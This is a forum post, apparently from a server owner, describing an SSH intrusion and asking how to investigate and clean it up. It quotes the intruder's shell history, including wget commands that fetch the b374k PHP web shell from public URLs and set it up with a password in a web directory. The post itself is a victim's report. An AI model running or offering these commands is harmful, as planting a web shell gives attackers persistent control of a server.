Today I turned on the PC and I found a lot of warnings of attempts to access my accounts (google, yandex, namesilo, vultr, etc. etc. etc.).
Among the various access attempts there has been a successful one on my server via ssh.
I found in the shell all the commands that the intruder launched. (From the bottom to the top)
cd .htpasswds ls cd /home/pornupda/ wget https://storage.googleapis.com/google-code-archive-downloads/v2/code.google.com/b374k-shell/b374k-2.8.php -O b3.php rm b3.php rf b3.php php b3.php -o b37.php -p b374k php -f b3.php -o b37.php -p b374k wget https://raw.githubusercontent.com/b374k/b374k/master/index.php -O b3.php nano footer.php ls cd here-was-the-domain-of-one-of-my-sites.com ls cd www ls cd /var ls cd /etc ls cd pornupda ls cd home ls cd ../ ls cd cd ../ ls cd cdn cd ../ ls cd zip_sites ls cd ../ nano popads.php ls cd /var/www/here-was-the-domain-of-one-of-my-sites.com cd ls nano index.php ls cd admin ls cd here-was-the-domain-of-one-of-my-sites.com ls cd www ls cd var ls cd .. ls cd whoami ls
I found some files that the intruder has modified, adding links to this site: https://xxx-pass.com, but I'm still looking because I'm not sure I've found them all. There are many sites on my server.
Above all, the commands with wget leave me puzzled, has downloaded something, done something but I have no clear what those files do, they seem to look for js or css files, and try to enter passwords somewhere, I'm not sure.
In addition, the intruder has done strange things, like cd /home/pornupda/, there is no "pornupda" user on my server, I don't know who it is.
Can you help me to understand what this intruder did and how to fix it?
Surely there is a command (maybe grep) that allows you to see all the files changed in the last days in a directory, but I don't know what it is, can you help me?
Or a way through the logs to figure out where the intruder went, this is the ip 184.108.40.206 that google indicates in the failed access attempts.
Do you have any suggestions to understand what the intruder has done and how to prevent it from happening again in the future?
On my server some time ago I installed fail2ban, which blocks many attempts to access ssh, I think it is strange that this intruder has succeeded.
So, in the meantime I changed the server password, ssh password, disabled password authentication etc. etc. and I will spend the rest of the day changing the password of mail, paypal, bank etc ...
(P.S. this site https://xxx-pass.com would like to save your passwords for you, but the guy who manages the site, steals passwords, I don't think it is appropriate to entrust your password to him ...)